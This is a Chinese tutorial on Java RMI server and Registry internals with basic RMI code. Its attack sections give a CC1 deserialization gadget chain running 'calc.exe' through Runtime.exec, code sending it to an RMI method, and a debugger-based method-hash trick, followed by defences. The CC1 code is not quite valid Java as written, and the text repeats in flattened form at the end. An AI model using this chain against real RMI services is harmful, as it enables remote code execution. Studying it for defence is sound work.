RMIserver端和Registry端源码分析
字数 1426 2025-08-11 21:26:16

RMI 服务器端和 Registry 端源码分析与安全教学

1. RMI 基础概念

RMI (Remote Method Invocation) 是 Java 提供的远程方法调用机制,允许一个 JVM 中的对象调用另一个 JVM 中的对象方法。

1.1 RMI 核心组件

  • Client 端:使用 stub (存根) 请求远程方法
  • Server 端:使用 skeleton (骨架) 接收 stub 请求,处理后将结果返回给 Client
  • Registry:注册表服务,用于注册和查找远程对象

2. RMI 基础实现

2.1 远程接口定义

远程接口必须继承 java.rmi.Remote,方法需要抛出 RemoteException

public interface rmidemo extends Remote {
    private static final long serialVersionUID = 6490921832856589236L;
    public String hello() throws RemoteException;
}

serialVersionUID 用于防止序列化时的版本冲突。

2.2 远程对象实现

远程对象类必须:

  1. 继承 UnicastRemoteObject
  2. 实现远程接口
public class RmiObject extends UnicastRemoteObject implements rmidemo {
    protected RmiObject() throws RemoteException {}
    public String hello() throws RemoteException {
        return "Hello from RMI";
    }
}

2.3 注册远程对象

public class server {
    public static void main(String[] args) throws RemoteException {
        rmidemo hello = new RmiObject(); // 创建远程对象
        Registry registry = LocateRegistry.createRegistry(1099); // 创建注册表
        registry.rebind("hello", hello); // 注册远程对象
    }
}

2.4 客户端调用

public class clientdemo {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        rmidemo hello = (rmidemo) registry.lookup("hello"); // 查找远程对象
        System.out.println(hello.hello()); // 调用远程方法
    }
}

3. RMI 反序列化攻击

3.1 攻击条件

当 Server 端存在接收 Object 对象的远程方法时:

public interface rmidemo extends Remote {
    void work(Object obj) throws RemoteException;
}

3.2 攻击示例(使用 CC1 链)

public class CommonsCollections1 {
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[] { String.class, Class[].class }, 
            new Object[] { "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", 
            new Class[] { Object.class, Object[].class }, 
            new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", 
            new Class[] { String.class }, 
            new String[] { "calc.exe" }),
    };
    
    Transformer transformerChain = new ChainedTransformer(transformers);
    Map innerMap = new HashMap();
    innerMap.put("godown", "buruheshen");
    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    
    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
    construct.setAccessible(true);
    Object obj = construct.newInstance(Retention.class, outerMap);
}

3.3 攻击执行

public static void main(String[] args) throws Exception {
    String url = "rmi://127.0.0.1:1099/user";
    User userClient = (User) Naming.lookup(url);
    userClient.work(CommonsCollections1());
}

4. RMI 源码分析

4.1 Server 端 UnicastRemoteObject

UnicastRemoteObject 的作用:

  1. 创建远程对象
  2. 将对象放入 ObjectTable
  3. 监听本地端口

关键调用链:

  1. readObject()reexport()
  2. reexport()exportObject()
  3. exportObject() 使用 UnicastServerRef 创建动态代理
// 动态代理创建
Util.createProxy()  RemoteObjectInvocationHandler  Proxy.newProxyInstance()

4.2 Registry 端实现

LocateRegistry.createRegistry(1099) 实际创建 RegistryImpl 对象:

RegistryImpl(1099)  setup()  exportObject()

Registry 端使用 RegistryImpl_Skel 类处理请求:

RegistryImpl_Skel.dispatch() {
    switch (操作类型) {
        case 0: // bind
        case 1: // list
        case 2: // lookup
        // ...
    }
}

4.3 方法调用机制

  1. Client 端请求时,Registry 端执行 RegistryImpl_Skel.dispatch()
  2. 将结果 writeObject() 到序列化流
  3. Client 端反序列化结果并调用

5. 非 Object 参数 RMI 攻击

当 Server 端接收的是 Object 的子类(如 HelloObject)时:

  1. 利用 UnicastServerRef.dispatch() 方法
  2. hashToMethod_Map 中寻找 Method 的 hash
  3. 通过反射调用方法

攻击方法:

  1. RemoteObjectInvocationHandler.invokeRemoteMethod 处下断点
  2. 修改 Method 为服务器需要的 Method
  3. 虽然 hash 会改变,但恶意类已经生成

6. 防御措施

  1. 升级 JDK 版本,修复已知反序列化漏洞
  2. 使用安全管理器限制反序列化
  3. 对远程方法参数进行严格校验
  4. 使用白名单机制限制可反序列化的类
  5. 使用 JEP 290 提供的过滤器机制

7. 总结

RMI 机制的核心在于:

  1. 远程接口定义
  2. 远程对象实现
  3. 注册表服务
  4. 动态代理和序列化机制

安全风险主要来自:

  1. 不安全的反序列化
  2. 方法调用缺乏严格校验
  3. 动态代理机制可能被滥用

理解 RMI 内部机制对于防御相关攻击至关重要。

RMI 服务器端和 Registry 端源码分析与安全教学 1. RMI 基础概念 RMI (Remote Method Invocation) 是 Java 提供的远程方法调用机制,允许一个 JVM 中的对象调用另一个 JVM 中的对象方法。 1.1 RMI 核心组件 Client 端 :使用 stub (存根) 请求远程方法 Server 端 :使用 skeleton (骨架) 接收 stub 请求,处理后将结果返回给 Client Registry :注册表服务,用于注册和查找远程对象 2. RMI 基础实现 2.1 远程接口定义 远程接口必须继承 java.rmi.Remote ,方法需要抛出 RemoteException : serialVersionUID 用于防止序列化时的版本冲突。 2.2 远程对象实现 远程对象类必须: 继承 UnicastRemoteObject 实现远程接口 2.3 注册远程对象 2.4 客户端调用 3. RMI 反序列化攻击 3.1 攻击条件 当 Server 端存在接收 Object 对象的远程方法时: 3.2 攻击示例(使用 CC1 链) 3.3 攻击执行 4. RMI 源码分析 4.1 Server 端 UnicastRemoteObject UnicastRemoteObject 的作用: 创建远程对象 将对象放入 ObjectTable 监听本地端口 关键调用链: readObject() → reexport() reexport() → exportObject() exportObject() 使用 UnicastServerRef 创建动态代理 4.2 Registry 端实现 LocateRegistry.createRegistry(1099) 实际创建 RegistryImpl 对象: Registry 端使用 RegistryImpl_Skel 类处理请求: 4.3 方法调用机制 Client 端请求时,Registry 端执行 RegistryImpl_Skel.dispatch() 将结果 writeObject() 到序列化流 Client 端反序列化结果并调用 5. 非 Object 参数 RMI 攻击 当 Server 端接收的是 Object 的子类(如 HelloObject )时: 利用 UnicastServerRef.dispatch() 方法 在 hashToMethod_Map 中寻找 Method 的 hash 通过反射调用方法 攻击方法: 在 RemoteObjectInvocationHandler.invokeRemoteMethod 处下断点 修改 Method 为服务器需要的 Method 虽然 hash 会改变,但恶意类已经生成 6. 防御措施 升级 JDK 版本,修复已知反序列化漏洞 使用安全管理器限制反序列化 对远程方法参数进行严格校验 使用白名单机制限制可反序列化的类 使用 JEP 290 提供的过滤器机制 7. 总结 RMI 机制的核心在于: 远程接口定义 远程对象实现 注册表服务 动态代理和序列化机制 安全风险主要来自: 不安全的反序列化 方法调用缺乏严格校验 动态代理机制可能被滥用 理解 RMI 内部机制对于防御相关攻击至关重要。